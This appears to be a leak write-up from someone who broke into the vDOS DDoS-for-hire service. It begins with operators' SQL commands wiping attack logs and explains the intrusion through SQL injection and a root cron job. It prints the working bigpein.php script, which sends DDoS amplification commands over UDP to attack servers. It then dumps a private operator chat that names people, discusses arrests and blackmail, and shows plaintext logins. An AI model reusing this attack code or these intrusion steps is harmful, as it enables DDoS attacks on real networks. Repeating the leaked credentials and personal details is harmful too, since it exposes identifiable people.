select `ticketid`,`text` from `replys` where `text` like ‘%instructions%’;
select `ticketid`,`text` from `replys` where `text` like ‘%mistaken%’;
select `ticketid`,`text` from `replys` where `text` like ‘%may I ask how%’;
select `ticketid`,`text` from `replys` where `text` like ‘%how did you dstat%’;
select `ticketid`,`text` from `replys` where `text` like ‘%is against our%’;
describe users;
select `username` from `users` order by lastseen asc limit 5;
select `username` from `users` order by lastseen desc limit 5;
update `users` set `lastseen` = ‘1470391754’ WHERE `username` = ‘P1st’;
select `username` from `users` order by lastseen desc limit 10;
describe users;
describe logs;
select `username` from `users` where `type` = ‘Admin’;
UPDATE `logs` SET `IP` = ‘-‘ WHERE `username` = ‘AppleJ4ck’;
UPDATE `logs` SET `IP` = ‘-‘ WHERE `username` = ‘P1st’;
UPDATE `logs` SET `IP` = ‘-‘ WHERE `username` = ‘Raziel’;
UPDATE `logs` SET `IP` = ‘-‘ WHERE `username` = ‘Landon’;
UPDATE `logs` SET `IP` = ‘-‘ WHERE `username` = ‘ieatpizza’;
UPDATE `logs` SET `IP` = ‘-‘ WHERE `username` = ‘Unknown’;
DELETE from `logs` WHERE `Action` like ‘%attack%’ AND WHERE `username` = ‘P1st’;
remove from `logs` WHERE `Action` LIKE ‘%attack%’ AND WHERE `username` = ‘P1st’;
DELETE from `logs` WHERE `Action` like ‘%attack%’ AND WHERE `Username` = ‘P1st’;
DELETE from `logs` WHERE `Action` LIKE ‘%attack%’ AND WHERE `Username` = ‘P1st’;
DELETE FROM `logs` WHERE `Action` LIKE ‘%attack%’ AND WHERE `Username` = ‘P1st’;
DELETE FROM `logs` WHERE `Action` LIKE ‘%attack%’ AND WHERE Username = ‘P1st’;
DELETE FROM `logs` WHERE `Action` LIKE ‘%attack%’ and WHERE Username = ‘P1st’;
DELETE FROM `logs` WHERE `Action` LIKE ‘%attack%’ and where Username = ‘P1st’;
DELETE FROM logs WHERE Action LIKE ‘%attack%’ and where Username = ‘P1st’;
delete from `logs` where `Action` LIKE ‘%attack%’ AND `username` = ‘P1st’;
delete from `logs` where `Action` LIKE ‘%attack%’ AND `Username` = ‘P1st’;
delete from `logs` where `Action` LIKE ‘%stress%’ AND `Username` = ‘P1st’;
select `username` from `users` where `type` = ‘Admin’;
delete from `logs` where `Action` LIKE ‘%stress%’ AND `Username` = ‘AppleJ4ck’;
delete from `logs` where `Action` LIKE ‘%stress%’ AND `Username` = ‘Raziel’;
delete from `logs` where `Action` LIKE ‘%stress%’ AND `Username` = ‘Landon’;
delete from `logs` where `Action` LIKE ‘%stress%’ AND `Username` = ‘ieatpizza’;
delete from `logs` where `Action` LIKE ‘%stress%’ AND `Username` = ‘Unknown’;
delete from `logs` where `Username` = ‘MasterSaviour’;
describe attacklogs;
delete from `attacklogs` where `userid` = ‘378889’;
dscribe loginattemps
;
describe loginattemps
;
delete from `loginattempts` where `username` = ‘MasterSaviour’;
delete from `loginattemps` where `username` = ‘MasterSaviour’;
select `ticketid`,`text` from `replys` where `text` like ‘%going to leave this ticket oopen%’;
select `ticketid`,`text` from `replys` where `text` like ‘%going to leave this ticket open%’;
select `ticketid`,`text` from `replys` where `text` like ‘%leave this ticket open%’;
select `ticketid`,`text` from `replys` where `text` like ‘%disable it%’;

Some paranoia seems to have kicked in some time in early august. They probably noticed something suspicious in the process list. They wiped some of the insiders’ data in the booter database and all of the wtmp logs. There was also a local root login (tty1) around this time so they may have alerted Verdina to check it out. The behaviour normalized after a few days.

The server setup had some issues. There wasn’t any nonprivileged database user account for the booters. They all accessed the database as the root user. An sql injection was enough to read and write files and put my own php on the site.

P1st maintained booter code in private github repositories. He had “git pull origin master” in the root crontab. It is not safe, especially in a directory controllable by the web user. I used that for root access.

 

PHP on api.vdos-s.com

There was a separate leak some time ago so it has been known that PoodleStresser used vDOS. This is what my sqlmap found on PoodleStresser:

Table: servers
[6 columns]
+—————-+————–+
| Column         | Type         |
+—————-+————–+
| AllowedMethods | varchar(255) |
| Concurrents    | int(11)      |
| ID             | int(255)     |
| name           | varchar(255) |
| SendURL        | varchar(255) |
| StopURL        | varchar(255) |
+—————-+————–+

| 6  | Alpha | http://api.vdos-s.com/bigpein.php?host=%5Bhost%5D&port=%5Bport%5D&time=%5Btime%5D&method=%5Bmethod%5D&serverid=0&6667 | http://api.vdos-s.com/bigpein.php?host=%5Bhost%5D&port=%5Bport%5D&time=%5Btime%5D&method=%5Bmethod%5D&serverid=0&action=stop&6667 | 999999      | dns;xsyn;ssyn;fin;rst;ack;icmp;dominate;tcpamp |

This is the bigpein.php script

<?php
set_time_limit(0);
ignore_user_abort(true);
if($_SERVER[‘REMOTE_ADDR’] != “109.236.92.157” && $_SERVER[‘REMOTE_ADDR’] != “188.166.71.10”) die();
if (ctype_digit($_GET[‘time’]) && ctype_digit($_GET[‘port’]) && isset($_GET[‘6667’]) && preg_match(‘/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/’,$_GET[‘host’], $match) && filter_input(INPUT_GET, ‘port’, FILTER_VALIDATE_INT) && filter_input(INPUT_GET, ‘time’, FILTER_VALIDATE_INT)){
if($_GET[‘action’] !=”stop”) $action = “start”; else $action = “stop”;
$ip = $match[0];
$port = $_GET[‘port’];
$time = $_GET[‘time’];
$method = $_GET[‘method’];
}else{
die(‘nice try tho lulz’);
}
function get_threads($time,$host){
if(strpos($host,”109.163.224″)!==FALSE){
return 20;
}elseif(strpos($host,”24.27.236″)!==FALSE){
return 8;
}elseif($host== “195.154.109.173” || $host == ‘195.154.104.15’){
return 14;
}elseif($time < 250){
return 7;
}elseif($time < 500){
return 6;
}elseif($time < 1000){
return 5;
}elseif($time < 2500){
return 4;
}else{
return 3;
}
}
function get_command($host,$port,$time,$method,$action){
$methods = array(
‘dns’ => ‘./dns [host] [port] dns_amp.txt [threads] [time]’,
‘ovh’ => ‘./ovh [host] [port] ovhlist.txt [threads] [time]’,
‘nbs’ => ‘./NBSattack [host] [port] nbs_amp.txt [threads] [time]’,
‘ssyn’=>’./essyn [host] [port] 4 700000 [time]’,
‘ssdp’=>’./ssdp [host] [port] ssdp_amp.txt [threads] [time]’,
‘ntp’=> ‘./ntp [host] [port] ntp_amp.txt [threads] 700000 [time]’,
‘home’ => ‘./dns [host] [port] dns_amp.txt 1 [time]’,
‘xsyn’=> ‘./xsyn [host] [port] 4 700000 [time]’,
‘fin’ => ‘./stcp [host] [port] 4 700000 [time] fin’,
‘rst’ => ‘./stcp [host] [port] 4 700000 [time] rst’,
‘ack’ => ‘./stcp [host] [port] 4 700000 [time] ack’,
‘ts3’ => ‘./ts3 [host] [port] ts3_amp.txt [threads] [time]’,
‘quake’ => ‘./quake [host] [port] quake_amp.txt [threads] [time]’,
‘icmp’ => ‘./trig -I -h [host] -p [port],[port] -t [time] -l 15’,
‘nflag’ => ‘./idk -N -h [host] -p [port],[port] -t [time] -l 70’,
‘dominate’ => ‘./dominate [host] [port] [threads] -1 [time]’,
‘vse’ => ‘./vse [host] [port] [threads] [time]’,
‘snmp’ => ‘./snmp [host] [port] snmp_amp.txt [threads] [time]’,
‘trig’ => ‘./trig -h [host] -U -t [time] -l 15’,
‘rip’=> ‘./rip [host] [port] rip.txt [threads] 700000 [time]’,
‘tcpamp’=> ‘./tcp [host] [port] tcp_amp.txt 5 [time]’,
‘portmap’=> ‘./portmap [host] [port] portmap.txt [threads] 700000 [time]’
);
if(array_key_exists($method, $methods)){
$find = array(‘[host]’, ‘[port]’, ‘[time]’,'[threads]’);
$replace = array($host, $port, $time, get_threads($time,$host));
$cmd = str_replace($find, $replace, $methods[$method]);
if($action == “start”){
$command = “screen -dm “.$cmd;
}elseif($action==”stop”){
$command = “pkill -f ‘”.$cmd.”‘”;
}
}
return $command;
}
$servers = array(‘82.118.233.4’);
$server_ip   = $servers[$_GET[‘serverid’]];
$server_port = 13371;
if ($socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP)) {
$command = get_command($ip,$port,$time,$method,$action);
socket_sendto($socket, $command, strlen($command), 0, $server_ip, $server_port);
print “sent”;
} else {
print(“can’t create socket”);
}

?>

They actually send shell commands in UDP packets. In this case only to one attack server (the corresponding script for vdos-s.com, index.php, has 8 of them). The attack servers execute what is in the UDP packets. As root.

The most advanced cyber gurus might already get an idea of how I rooted them. Yes, it wasn’t exactly Fort Knox.

I wouldn’t advice the Israel army to recruit these guys to an “elite intelligence unit”. But do they have a clown unit?

 

What booters used vDOS attack back-end?

I counted the source IP’s in the api.vdos-s.com access log. These are the most common. The biggest request numbers are from vdos-s.com and the other booters on that server. Its IP changed at least twice in this period. There are some unidentified booters that initiated a rather large number of attacks.

The numbers don’t always directly reflect the number of attacks because some booters sent several HTTP requests per attack, one for each “attack server”.

count IP comment
3665146 78.128.92.156 3 Sep 2015 – 18 Jan 2016 vdos-s.com etc.
3487256 82.118.233.144 18 Jan 2016 – 18 Jul 2016 vdos-s.com etc.
810199 82.118.233.198 18 Jul 2016 – 1 Sep 2016  vdos-s.com etc.
480426 162.158.17.72 not sure, Cloudflare’s IP?
182269 85.25.218.98 22 Sep 2015 – 19 Nov 2015
33322 188.166.71.10 21 Dec 2015 – 31 Aug 2016
15479 109.236.89.247 6 Feb 2016 – 19 Jun 2016, “anti.php”
12124 141.101.93.44 7 Sep 2015 – 14 Sep 2015
1759 248.15.162.127
1074 188.226.221.60
1033 51.254.199.38 second PoodleStresser, Octolus codebase
987 109.236.92.157 first PoodleStresser
803 79.182.113.146
192 79.182.170.158
166 87.70.82.73
158 79.179.188.167

 

Chat

This text file was laying in the api.vdos-s.com document root. It is apparently related to a PHP chat system that P1st made after one of the booter personnel was arrested. They were too paranoid to use Skype or other normal means of communication. IP addresses could be probably found in the Apache log I posted earlier.

Looks like the lines have a timestamp and a nick name after the chat text. File modification date is May 29 2016.

Anyone know who these involved people are? What is the “blackmail thing” they denied?

 

6    Hi (hug)    1463912061    7otx6
7    Hi    1463947539    r5DGe
8    Hi    1463947567    7otx6
9    What happened to the SSL?    1463947586    r5DGe
10    and credit card payments    1463947593    r5DGe
11    Did Jesse bail?    1463947604    r5DGe
12    The SSL got shut down due to a report, apparently    1463947650    7otx6
13    And yeah    1463947664    7otx6
14    "But yeah the card gateway is down. Once we figure out what's going on I'll bring it back. Il send your payout as of now sometime after my exams"    1463947674    7otx6
15    "But I don't want to be arrested so idk how far I'm willing to go for it"    1463947685    7otx6
16    How are you btw    1463947702    7otx6
17    Fine, I wanted to tell you to change the fraud email password    1463947717    r5DGe
18    Yeah I already did    1463947734    7otx6
19    Good and the Vox login?    1463947744    r5DGe
20    Uhm, does it really matter? :P    1463947769    7otx6
21    Well, can you see logins?    1463947783    r5DGe
22    I can change it if you want    1463947783    7otx6
23    Hmm, what do you know about the SSL report?    1463947855    r5DGe
24    You think it might be CF so they can intercept requests?    1463947895    r5DGe
25    I don't think so, it was Digicert    1463947990    7otx6
26    They didn't give any details?    1463948008    r5DGe
27    http://prntscr.com/b76bzo    1463948071    7otx6
28    :S    1463948081    7otx6
29    It was probably someone from HF, you have nothing to worry about    1463948144    7otx6
30    could you copy the imgur link?    1463948178    r5DGe
31    it's not letting me authenticate using CF for some reason.    1463948198    r5DGe
32    http://i.imgur.com/jvzHm28.png    1463948200    7otx6
33    Hmm, maybe it was Jesse?    1463948241    r5DGe
34    It could be him, I don't know..    1463948289    7otx6
35    Anyway, you should tell him to not worry. I honestly don't think they are going to investigate into vDos.    1463948303    r5DGe
36    During questioning they referred to stressers as a legal tools.    1463948345    r5DGe
37    tool*    1463948367    r5DGe
38    Did you all make new Skypes then?    1463948398    r5DGe
39    Yeah, do you want me to add Ris? I think he's awake    1463948436    7otx6
40    http://i.imgur.com/vHJ9s7g.png yay    1463948486    7otx6
41    I'm back sorry    1463949962    7otx6
42    Can an underage person go to jail in the UK?    1463950038    7otx6
43    I'm not familiar with the UK law    1463950051    7otx6
44    You here?    1463951295    KwAUQ
45    I'm back.    1463951324    KwAUQ
46    Clear the chat for now and get Ris in here.    1463951425    KwAUQ
47    Alrighty    1463953792    7otx6
48    Hello    1463953871    3HzCM
49    Max (dull) (I miss Skype)    1463953892    3HzCM
50    I think Unknown is AFK    1463953947    7otx6
51    RIP    1463953953    7otx6
52    What? I'm Unknown.    1463953963    3HzCM
53    Do you mean Ris?    1463953979    3HzCM
54    Oh, your ID just changed to something different    1463954004    7otx6
55    Yeah, is it based on your IP or session?    1463954022    3HzCM
56    did you clear your cookies?    1463954033    7otx6
57    I restarted the PC I am using because the display driver fucked up.    1463954060    3HzCM
58    I'm using Tor so it doesn't remember cookies/history by default.    1463954083    3HzCM
59    Oh, I see..    1463954101    7otx6
60    I should have guessed the api subdomain, my bad.    1463954111    3HzCM
61    Well, it's getting late, I should go to bed now    1463954124    7otx6
62    It's fine    1463954130    7otx6
63    Alright, do you know if Ris is coming?    1463954137    3HzCM
64    Did Ris and AJ make new Skypes or just you?    1463954162    3HzCM
65    Oh, also, I watched a new review of vDos on YouTube. The user was using Mettra's graph (dstat.xyz) he either lied about it being shut down or brought it back online.    1463954218    3HzCM
66    Just Ris and I. and I think he's away    1463954453    7otx6
67    and yeah I've seen it, rip    1463954470    7otx6
68    I saw your message about UK law.    1463954507    3HzCM
69    BRB    1463954543    7otx6
70    I am not sure if I'll go to prision, but they will treat me as a minor since I was 17 at the time of the offence.    1463954560    3HzCM
71    Hi.    1463954652    w0tAo
72    Hi, is that Ris?    1463954680    3HzCM
73    Yes./    1463954693    w0tAo
74    What was the program that I made with you called?    1463954709    3HzCM
75    XmlrpcScannerGUI.exe    1463954743    w0tAo
76    Alright, hi. They also arrested me for that other thing that I was questioned about.    1463954765    3HzCM
77    Oh, damn.     1463954780    w0tAo
78    Since they knew I worked at the company and I'd been brought in for DDoSing they made the connection.    1463954800    3HzCM
79    I see, so where are you right now?    1463954832    w0tAo
80    I'm at home.    1463954842    3HzCM
81    Ah alright.     1463954853    w0tAo
82    They took my PC, phone, router and PS4.    1463954866    3HzCM
83    Holy shit, what are you on now then?    1463954876    w0tAo
84    and they also took my parent's main PC. I am using a PC that my step-brother gave us to use.    1463954908    3HzCM
85    I see.    1463954921    w0tAo
86    How pissed are your parents?    1463954935    w0tAo
87    They are fine.    1463954947    3HzCM
88    I denied the blackmail thing. I doubt they'd find anything.    1463954984    3HzCM
89    Well that's good. At least their not mad at you, don't need anymore stress rn.    1463955002    w0tAo
90    Yeah, the blackmail thing they shouldn't have anything on you. It'd only be on me. They also have no proof of you with the data.    1463955028    w0tAo
91    Yeah, I wouldn't worry about it. They have a team of spastics working on the blackmail investigation.    1463955038    3HzCM
92    ;p    1463955049    w0tAo
93    The Janet attack they have a good team working on it. My SSD was truecrypted but I gave them the login since I want it back.    1463955093    3HzCM
94    Nice.    1463955120    w0tAo
95    I literally formatted my SSD 3 days before which is unrecoverable.    1463955125    3HzCM
96    I'm really glad I did that, I would have been fucked otherwise lol    1463955142    3HzCM
97    Nice, honestly it's good to do so on a regular basis.    1463955144    w0tAo
98    They're going to find the Parted Magic disk but it's a legal tool.    1463955185    3HzCM
99    Well, I downloaded it ilegally lol    1463955197    3HzCM
100    lol rip    1463955211    w0tAo
101    I downloaded The Hateful Eight too :P    1463955233    3HzCM
102    It was a 13GB torrent, they'll find that.    1463955246    3HzCM
103    They honestly shouldn't care about some of your Torrents. You may get in trouble for it, but nothing more severe than what your actually in for.    1463955275    w0tAo
104    And hey, if you do go to prison perhaps P1st may supply the money to uhm raid the prison?     1463955306    w0tAo
105    i mean wuut    1463955314    w0tAo
106    I really didn't think the ICMP ping packets would be traced back.     1463955338    3HzCM
107    and the fucking web requests to the status page, that was just stupid. I am surprised they managed to get a warrent using that. I guess it's enough substantial evidence...    1463955377    3HzCM
108    What were you pinging?    1463955387    w0tAo
109    The target of the attack.    1463955400    3HzCM
110    and the core router    1463955410    3HzCM
111    Ah. :/    1463955419    w0tAo
112    £57,000 in damages apparently.    1463955439    3HzCM
113    I doubt they'd make me pay that. I'd be fucked if they did rip    1463955463    3HzCM
114    Damn...    1463955473    w0tAo
115    It was stupid using vDos from my phone.    1463955507    3HzCM
116    We all fuck up (hug)    1463955528    w0tAo
117    I'm hoping for a caution...    1463955553    3HzCM
118    or community service.    1463955580    3HzCM
119    Indeed.    1463955625    w0tAo
120    I should be getting my stuff back soon (hopefully).    1463955682    3HzCM
121    Could you screenshot my HF profile please?    1463955694    3HzCM
122    Sure.    1463955781    w0tAo
123    <h1>test</h1>    1463955865    3HzCM
124    Good P1st (clap)    1463955876    3HzCM
125    https://i.imgur.com/6GuI3py.png    1463955921    w0tAo
126    do I have any neg rep?    1463955984    3HzCM
127    like 3    1463956021    w0tAo
128    Bull, Average, Omni    1463956029    w0tAo
129    o do u?    1463956038    w0tAo
130    Omni negged me?    1463956044    3HzCM
131    No, I thought you asked if I did. No, you don't have any negs.    1463956073    w0tAo
132    OK, good, just checking.    1463956097    3HzCM
133    How much have we made this month?    1463956146    3HzCM
134    13    1463956180    w0tAo
135    Much better.    1463956208    7otx6
136    Hi P1st :)    1463956212    3HzCM
137    ah ty    1463956225    w0tAo
138    Alright guys, I'm off to bed. just letting you know the chat clears itself every 60mins, it's safer that way    1463956241    7otx6
139    see you tomorrow    1463956251    7otx6
140    See you bud    1463956265    w0tAo
141    Alright, thanks. Night (hug)    1463956265    3HzCM
142    Night (hug)    1463956277    7otx6
143    Hmm, do you have the Gazyo details?    1463956333    3HzCM
144    I mean, the Secret thing we made, do you have the MySQL details?    1463956359    3HzCM
145    I don't sadly.    1463956385    w0tAo
146    I'd like to check if anything is left in the database.    1463956407    3HzCM
147    There isn't anything, I've viewed everything you've sent me and if you never when to a 1time link I'd view it after awhile to make sure it's gone. Unles you allowed others access yours and my convos are gone from it    1463956465    w0tAo
148    Hopefully there isn't anything.    1463956575    3HzCM
149    Could you tell P1st on Skype to make sure he removed the SQL dumps that he gave me when he accidentally set everyone's expiration date to Unknown.    1463956741    3HzCM
150    Sure.    1463956834    t6j8U
151    Oh, also, do you have some Bitcoin spare to purchase a leakedsource package? I need to search for someone.    1463956927    3HzCM
152    Sure, I'll do that now    1463956985    t6j8U
153    Sorry if I don't reply for a few minutes, talking to several people    1463956998    t6j8U
154    Thanks, I'll give you the money for it when this is over.    1463957009    3HzCM
155    np    1463957043    t6j8U
156    Want the login details?    1463957101    t6j8U
157    Please    1463957116    3HzCM
158    SexyFunTime    1463957168    t6j8U
159    password321    1463957173    t6j8U
160    Did you send the Bitcoin?    1463957248    3HzCM
161    I am now.    1463957310    t6j8U
162    Alright, thanks <3    1463957319    3HzCM
163    Sent, bought a week     1463957348    t6j8U
164    :O Thanks man :)    1463957362    3HzCM
165    np <3     1463957371    t6j8U
166    Could you give me the TXID?    1463957410    3HzCM
167    Was using Circle, not sure it.. refference id is bdeadc42-a8b5-4a2d-8bd2-061b419a4009    1463957448    t6j8U
168    Do you think they'll be able to recover the Skype DBs from my phone?    1463957742    3HzCM
169    I removed the app from my phone each time I made a new Skype. Hopefully that deleted the DBs...    1463957765    3HzCM
170    What type of phone? iPhone or Samsung?    1463957818    t6j8U
171    Android Nexus 5    1463957832    3HzCM
172    "On android, its path is data\\data\\com.skype.raider\\files\\SkypeName\\main.db . Root access required."    1463957888    3HzCM
173    Not sure honestly, I know on some Samsung's it'll have a tmp db but idk    1463957900    t6j8U
174    Hopefully they can't. They would have access to our chat log at the time of the thingy.    1463957982    3HzCM
175    If they don't have the DBs it should be impossible for them to recover the messages as Skype is P2P    1463958029    3HzCM
176    Still not got the package, weird.    1463959361    3HzCM
177    Yeah,  dw ive purchased b4 and it took around 12 hours.    1463959658    t6j8U
178    Oh, they use blockchain's API >.<    1463959755    3HzCM
179    yeah lel    1463959768    t6j8U
180    says 30 mins on their purchase page    1463959774    3HzCM
181    Oh, wait    1463959790    3HzCM
182    That's the expiration date for the address    1463959800    3HzCM
183    Tbh their site is sloppy and could be improved by 150%.    1463959864    t6j8U
184    It's pretty good considering it is searching 1 billion records lol    1463960136    3HzCM
185    True, but still could be improved lel    1463960190    t6j8U
186    I guess.    1463960226    3HzCM
187    Hi    1463989962    QHCm6
188    Herro c:    1463990032    Xnrxe
189    Ris wanted me to tell you this:    1463990059    Xnrxe
190    "tell him i purchased what he wanted me to but idk if they got it o.o"    1463990070    Xnrxe
191    Is that P1st? and ask Ris if the transaction failed.    1463990118    QHCm6
192    Yeah    1463990144    Xnrxe
193    He's offline    1463990150    Xnrxe
194    Actually, I think AJ gave me his user awhile ago, let me check    1463990217    Xnrxe
195    For Leaked Source?    1463990245    QHCm6
196    Your subscription is valid for 158.89 more hours. yay    1463990267    Xnrxe
197    Yeah, login with meow555:meow555    1463990276    Xnrxe
198    :O Thanks <3    1463990285    QHCm6
199    Copying and pasting is hard lol    1463990304    QHCm6
200    NP <3 I have to go to class now, talk to you later     1463990358    Xnrxe
201    Alright, speak to you later (hug)    1463990372    QHCm6
202    (hug)    1464007504    Xnrxe
203    <h1>a    1464007522    Xnrxe
204    Hello!    1464038340    zuqMZ
205    Anybody here?    1464038358    zuqMZ
206    Hey :3    1464128050    Xnrxe
207    Hello    1464131136    bPTOv
208    You here?    1464131149    bPTOv
209    :3    1464131154    bPTOv
210    :)    1464131253    bPTOv
211    I'm awake (hug)    1464152718    Xnrxe
212    Damn, you always message me when i'm asleep :c    1464152754    Xnrxe
213    https://www.instagram.com/lukekorns/ He's just perfect <3    1464206929    GMoZa
214    Hi    1464215940    NfmbP
215    http://www.holistic-alternative-practioners.com/images/166.jpg    1464216044    NfmbP
216    Hi    1464293353    sIyxz
217    Hi (hug)    1464293386    GMoZa
218    Wait, who is this?    1464293409    GMoZa
219    Unknown    1464293435    sIyxz
220    Is it P1st?    1464293452    sIyxz
221    Herro? :S    1464293500    sIyxz
222    Senpai?    1464293575    sIyxz
223    Yeah, sorry, it's me, P1st :P    1464293590    GMoZa
224    How are things?    1464293608    sIyxz
225    When do you think all of this will be over? Skype is way better    1464293639    GMoZa
226    Good, I guess    1464293647    GMoZa
227    I find out if I am being charged on the 30th of June.    1464293675    sIyxz
228    I see :S    1464293739    GMoZa
229    Did you find out who reported the SSL certifcate?    1464293748    sIyxz
230    By the way, I contacted the guy who hosts your website about a month ago, I can ask him to remove your database if you want since you don't have the MySQL details     1464293815    GMoZa
231    And not yet    1464293831    GMoZa
232    I'm talking "DarkCop", I think    1464293872    GMoZa
233    How did you contact him?    1464293878    sIyxz
234    and yes, that is him.    1464293899    sIyxz
235    https://www.spigotmc.org/conversations/119578/ x@v-email.org:pdE-DN6-2ac-REu    1464293944    GMoZa
236    I wouldn't touch it to be honest. They would have found it already.    1464293947    sIyxz
237    Ah    1464293956    GMoZa
238    Could you get the details from him and connect to the MySQL server. Do it through Tor obviously.    1464294010    sIyxz
239    I doubt he will give it to me, but I can try    1464294088    GMoZa
240    You can prove who you are. He has a vDos account.    1464294133    sIyxz
241    Tell him this, once I connected to his MC server and he made me verify who I was to him and Avery.    1464294176    sIyxz
242    I think his Skype might be th3darkcop    1464294201    sIyxz
243    Alright, I will, and yeah I already tried to add him    1464294268    GMoZa
244    But he "doesn't add people he doesn't know"    1464294284    GMoZa
245    So I'd have to contact him using this site    1464294291    GMoZa
246    Yeah, do that.    1464294335    sIyxz
247    I'm not sure what his username is. I'm pretty sure it has Warrior in it.    1464294396    sIyxz
248    "warriormaster"?    1464294441    GMoZa
249    Yeah, pretty sure that's it. BT IP address.    1464294479    sIyxz
250    Just see if I modified his account because I gave him lifetime for PayPal if you remember.    1464294518    sIyxz
251    Message him on Spigot and tell him that you sent him a message on vDos. Otherwise I'd doubt he'll see it. Tell him it is important not to message me.    1464294630    sIyxz
252    If he needs some other type of vertification tell him to send you a question to ask me.    1464294732    sIyxz
253    Are you going to purchase a new SSL certificate?    1464294887    sIyxz
254    Alright, I will contact him once I wake up, I really need to go to bed now    1464295002    GMoZa
255    And yes, most likely. We need to find out who reported the SSL cert first.    1464295011    GMoZa
256    Are they expensive?    1464295040    sIyxz
257    Not really, the thing is we need to find another SSL issuer since Digicert has our domain blacklisted    1464295128    GMoZa
258    At least that's what Jesse said    1464295133    GMoZa
259    How much have we made by only accepting Bitcoin?    1464295177    sIyxz
260    kk, going to bed now, nighty night (hug)    1464295190    GMoZa
261    hi - ris    1464295194    05hMu
262    nite p1st    1464295200    05hMu
263    Today was a pretty god day, made around 1.4k    1464295207    GMoZa
264    good*    1464295212    GMoZa
265    Ah, nice. Night!    1464295255    sIyxz
266    (hug)    1464295261    sIyxz
267    His Ris :3    1464295289    sIyxz
268    Hi*    1464295298    sIyxz
269    Woah what the fuck P1st added emojis? LOL    1464295307    05hMu
270    Yeah, only a few of them.    1464295329    sIyxz
271    Nice, how are you?    1464295334    05hMu
272    Good, my parents got their PC back today.    1464295368    sIyxz
273    Nice!     1464295381    05hMu
274    Yeah, luckily it wasn't damaged because they sent it by post.    1464295400    sIyxz
275    o.o interesting, did you check for anything mysterious and newly installed on it? ;p    1464295421    05hMu
276    They literally clone the HDD and work from that.    1464295453    sIyxz
277    I see.    1464295472    05hMu
278    I can't see any mysterious processes running or services.    1464295506    sIyxz
279    Sorry about the shit with LeakSource package or w/e. Circle didn't send money until legitly 5 hours later and by then the payment timed out.    1464295521    05hMu
280    Was the money sent?    1464295570    sIyxz
281    AJ had a package that I used anyway, so it's no problem.    1464295640    sIyxz
282    Nice, and not sure never checked haven/t been on lately.    1464295662    05hMu
283    Have you watched Orphan Black?    1464296139    sIyxz
284    I have to go - speak to you later, bye.    1464296228    sIyxz
285    Ah sorry I missed you! :( Was writing documentation for someone.    1464296522    05hMu
286    (hug)    1464296533    05hMu
287    Hi    1464298980    UcIbW
288    Hi    1464368015    AiYzQ
289    :3    1464368025    AiYzQ
290    Herro :3    1464372768    GMoZa
291    Hi, you here?    1464376432    sLKIE
292    Yeah, how are you?    1464376883    GMoZa
293    btw, Darkcop saw my message, but didn't reply    1464376962    GMoZa
294    He better not message me, that would be bad.    1464377006    sLKIE
295    He's probably away telling by his useragent    1464377052    GMoZa
296    "Linux; Android 6.0; HTC One M9 Build/MRA58K"    1464377055    GMoZa
297    Can you pastebin what you sent so I can see it?    1464377097    sLKIE
298    Is Jek back?    1464377178    sLKIE
299    http://api.vdos-s.com/important.txt, and no    1464377195    GMoZa
300    I'm not sure how he will react to that. He might message me on Skype...    1464377286    sLKIE
301    You sent that on Skype?    1464377346    sLKIE
302    spigotmc.org    1464377381    GMoZa
303    What happened to L7?    1464377588    sLKIE
304    I don't have the time to maintain it because I'm busy with school and AJ is away most of the time. I had to remove it for the time being    1464377869    GMoZa
305    Also our servers got suspended    1464377913    GMoZa
306    I knew i would happen at some point    1464377996    GMoZa
307    it*    1464378000    GMoZa
308    Ah, how come Jesse isn't accepting payments then?    1464378020    sLKIE
309    Also, did he make those changes to the URLs and the Google form?    1464378076    sLKIE
310    Yes, and he's just being paranoid. He's worried that the cops will out about vDos    1464378446    GMoZa
311    We weren't making that much money off it anyway, it's fine    1464378654    GMoZa
312    Ah, well, we needed him to change the URLs so they couldn't search for things etc.    1464383244    TNowd
313    You here?    1464383292    TNowd
314    Yeah, but not for too long, what's up?    1464383408    GMoZa
315    Did you check for any activity with my vDos account?    1464383489    TNowd
316    They had access to vDos for 5 hours.    1464383511    TNowd
317    Nothing suspicious, I already checked    1464384053    GMoZa
318    https://www.youtube.com/watch?v=0tJGk4ofc18 lol    1464384138    TNowd
319    lol:3    1464389211    jV0NH
320    Is that Ris?    1464393865    H2Ixu
321    Not sure    1464426231    GMoZa
322    5.255.80.27 - - [27/May/2016:18:46:51 -0400] "POST /kittens/ HTTP/1.1" 200 3069 "http://api.vdos-s.com/kittens/" "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0"    1464426240    GMoZa
323    Check if it is Ris    1464439625    mKSHD
324    ?*    1464439631    mKSHD
325    You haven't edited the purchase page; it still says you get L7 access with VIP.    1464440486    mKSHD
326    Yeah, thanks for letting me know    1464473244    GMoZa
328    Apparently it wasn't Ris, I have no idea who it was :S     1464473353    GMoZa
329    Message me as soon as you read this    1464473382    GMoZa
330    Hi    1464473389    kBhmL
331    It's me.    1464473398    kBhmL
332    Alright, 1s    1464473424    GMoZa
333    You should have removed the base64 string.    1464473451    kBhmL
334    Login to your vDos account and check your inbox    1464473572    GMoZa
335    Alright, done.    1464473615    kBhmL
336    What was the IP again?    1464473659    kBhmL
337    5.255.80.27    1464473682    GMoZa
338    Let's hope it was just some random person.    1464473716    kBhmL
339    I'm going back to bed, g'night (hug)    1464473717    GMoZa
340    I really hope so    1464473726    GMoZa
341    Alright, good night :)    1464473732    kBhmL
342    You should add a last visited bit    1464473745    kBhmL
343    so you can see who is currently looking at the messages.    1464473767    kBhmL
344    It's a Tor IP address btw.    1464478887    7w54o
345    <h1>test</h1>    1464482858    7w54o
346    Fuck..... I forgot my Skype password.    1464486264    J7e9U
347    Fuck, god dammit.................. This is what happens when you create new accounts and don't login to your account after a month..........................    1464486600    J7e9U
348    How I feel right now https://www.youtube.com/watch?v=6aK78w-st2U    1464487016    J7e9U
349    Awh, let me know if you want my skypename    1464500952    P1st
350    You can always use Skype over Tor (nod)    1464500982    P1st
351    And yeah, it is, I have a feeling that it was Bear    1464501293    P1st
352    "Also about the card payments Digicert hasn't answered me yet they've been bouncing me around different departments, but once I figure out why they revoked your SSL certificate and it isn't a sketchy reason I'll put the gateway back online. I'm worried that if it's not a government investigation that it's someone specifically targeting us and both are not good since if someone complains to Visa about us I'm kind of fucked.  I'll push for a reason more since I need this to be back too LOL."    1464501505    P1st
353    Jesse ^    1464501514    P1st
354    https://vine.co/v/iVzrdK253vV (nerd)    1464506084    P1st
355    Hi    1464533355    Unknow
356    herro :3    1464533648    P1st
357    I want to login to my Skype to check if anyone has messaged me.    1464533742    Unknow
